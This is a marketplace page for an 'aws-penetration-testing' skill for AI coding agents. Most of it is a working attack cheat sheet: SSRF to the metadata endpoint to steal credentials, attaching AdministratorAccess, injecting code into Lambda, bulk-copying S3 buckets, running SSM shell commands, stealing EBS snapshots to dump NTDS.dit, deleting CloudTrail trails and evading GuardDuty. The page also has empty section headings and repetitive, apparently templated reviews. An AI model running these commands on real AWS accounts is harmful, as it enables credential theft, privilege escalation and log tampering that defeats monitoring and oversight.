Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.
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Before installing skills in Cursor, ensure your development environment meets these requirements:
node --versionaws-penetration-testingExecute the skills CLI command in your project's root directory to begin installation:
Fetches aws-penetration-testing from davila7/claude-code-templates and configures it for Cursor.
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
Confirm successful installation by checking the skill directory location:
Restart Cursor to activate aws-penetration-testing. Access via /aws-penetration-testing in your agent's command palette.
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your environment. Always review source, verify the publisher, and test in isolation before production.
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Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.
| Tool | Purpose | Installation |
|---|---|---|
| Pacu | AWS exploitation framework | git clone https://github.com/RhinoSecurityLabs/pacu |
| SkyArk | Shadow Admin discovery | Import-Module .\SkyArk.ps1 |
| Prowler | Security auditing | pip install prowler |
| ScoutSuite | Multi-cloud auditing | pip install scoutsuite |
| enumerate-iam | Permission enumeration | git clone https://github.com/andresriancho/enumerate-iam |
| Principal Mapper | IAM analysis | pip install principalmapper |
Identify the compromised identity and permissions:
# Check current identity
aws sts get-caller-identity
# Configure profile
aws configure --profile compromised
# List access keys
aws iam list-access-keys
# Enumerate permissions
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
# List all users
aws iam list-users
# List groups for user
aws iam list-groups-for-user --user-name TARGET_USER
# List attached policies
aws iam list-attached-user-policies --user-name TARGET_USER
# List inline policies
aws iam list-user-policies --user-name TARGET_USER
# Get policy details
aws iam get-policy --policy-arn POLICY_ARN
aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1
# List roles
aws iam list-roles
aws iam list-attached-role-policies --role-name ROLE_NAME
Exploit SSRF to access metadata endpoint (IMDSv1):
# Access metadata endpoint
http://169.254.169.254/latest/meta-data/
# Get IAM role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Extract temporary credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# Response contains:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2019-08-01T05:20:30Z"
}
For IMDSv2 (token required):
# Get token first
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
"http://169.254.169.254/latest/api/token")
# Use token for requests
curl -H "X-aws-ec2-metadata-token:$TOKEN" \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
Fargate Container Credentials:
# Read environment for credential path
/proc/self/environ
# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...
# Access credentials
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH
These permissions are equivalent to administrator:
| Permission | Exploitation |
|---|---|
iam:CreateAccessKey |
Create keys for admin user |
iam:CreateLoginProfile |
Set password for any user |
iam:AttachUserPolicy |
Attach admin policy to self |
iam:PutUserPolicy |
Add inline admin policy |
iam:AddUserToGroup |
Add self to admin group |
iam:PassRole + ec2:RunInstances |
Launch EC2 with admin role |
lambda:UpdateFunctionCode |
Inject code into Lambda |
aws iam create-access-key --user-name target_user
aws iam attach-user-policy --user-name my_username \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam put-user-policy --user-name my_username \
--policy-name admin_policy \
--policy-document file://admin-policy.json
# code.py - Inject into Lambda function
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
)
return response
# Update Lambda code
aws lambda update-function-code --function-name target_function \
--zip-file fileb://malicious.zip
# Using bucket_finder
./bucket_finder.rb wordlist.txt
./bucket_finder.rb --download --region us-east-1 wordlist.txt
# Common bucket URL patterns
https://{bucket-name}.s3.amazonaws.com
https://s3.amazonaws.com/{bucket-name}
# List buckets (with creds)
aws s3 ls
# List bucket contents
aws s3 ls s3://bucket-name --recursive
# Download all files
aws s3 sync s3://bucket-name ./local-folder
https://buckets.grayhatwarfare.com/
# List Lambda functions
aws lambda list-functions
# Get function code
aws lambda get-function --function-name FUNCTION_NAME
# Download URL provided in response
# Invoke function
aws lambda invoke --function-name FUNCTION_NAME output.txt
Systems Manager allows command execution on EC2 instances:
# List managed instances
aws ssm describe-instance-information
# Execute command
aws ssm send-command --instance-ids "i-0123456789" \
--document-name "AWS-RunShellScript" \
--parameters commands="whoami"
# Get command output
aws ssm list-command-invocations --command-id "CMD-ID" \
--details --query "CommandInvocations[].CommandPlugins[].Output"
# Create snapshot of target volume
aws ec2 create-snapshot --volume-id vol-xxx --description "Audit"
# Create volume from snapshot
aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a
# Attach to attacker instance
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf
# Mount and access
sudo mkdir /mnt/stolen
sudo mount /dev/xvdf1 /mnt/stolen
# CloudCopy technique
# 1. Create snapshot of DC volume
# 2. Share snapshot with attacker account
# 3. Mount in attacker instance
# 4. Extract NTDS.dit and SYSTEM
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local
Convert CLI credentials to console access:
git clone https://github.com/NetSPI/aws_consoler
aws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY
# Generates signin URL for console access
# Delete trail
aws cloudtrail delete-trail --name trail_name
# Disable global events
aws cloudtrail update-trail --name trail_name \
--no-include-global-service-events
# Disable specific region
aws cloudtrail update-trail --name trail_name \
--no-include-global-service-events --no-is-multi-region-trail
Note: Kali/Parrot/Pentoo Linux triggers GuardDuty alerts based on user-agent. Use Pacu which modifies the user-agent.
| Task | Command |
|---|---|
| Get identity | aws sts get-caller-identity |
| List users | aws iam list-users |
| List roles | aws iam list-roles |
| List buckets | aws s3 ls |
| List EC2 | aws ec2 describe-instances |
| List Lambda | aws lambda list-functions |
| Get metadata | curl http://169.254.169.254/latest/meta-data/ |
Must:
Must Not:
Should:
# 1. Find SSRF vulnerability in web app
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 2. Get role name from response
# 3. Extract credentials
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole
# 4. Configure AWS CLI with stolen creds
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
# 5. Verify access
aws sts get-caller-identity
| Issue | Solution |
|---|---|
| Access Denied on all commands | Enumerate permissions with enumerate-iam |
| Metadata endpoint blocked | Check for IMDSv2, try container metadata |
| GuardDuty alerts | Use Pacu with custom user-agent |
| Expired credentials | Re-fetch from metadata (temp creds rotate) |
| CloudTrail logging actions | Consider disable or log obfuscation |
For advanced techniques including Lambda/API Gateway exploitation, Secrets Manager & KMS, Container security (ECS/EKS/ECR), RDS/DynamoDB exploitation, VPC lateral movement, and security checklists, see
Prerequisites
Time Estimate
15-45 minutes depending on use case complexity
Steps
Common Pitfalls
✓ Do
✗ Don't
💡 Pro Tips
✓ Use when
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid when
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
davila7/claude-code-templates
davila7/claude-code-templates
davila7/claude-code-templates
davila7/claude-code-templates
davila7/claude-code-templates
davila7/claude-code-templates
Keeps context tight: aws-penetration-testing is the kind of skill you can hand to a new teammate without a long onboarding doc.
aws-penetration-testing has been reliable in day-to-day use. Documentation quality is above average for community skills.
I recommend aws-penetration-testing for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
aws-penetration-testing reduced setup friction for our internal harness; good balance of opinion and flexibility.
aws-penetration-testing fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
aws-penetration-testing is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
Solid pick for teams standardizing on skills: aws-penetration-testing is focused, and the summary matches what you get after install.
aws-penetration-testing is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
aws-penetration-testing has been reliable in day-to-day use. Documentation quality is above average for community skills.
aws-penetration-testing reduced setup friction for our internal harness; good balance of opinion and flexibility.
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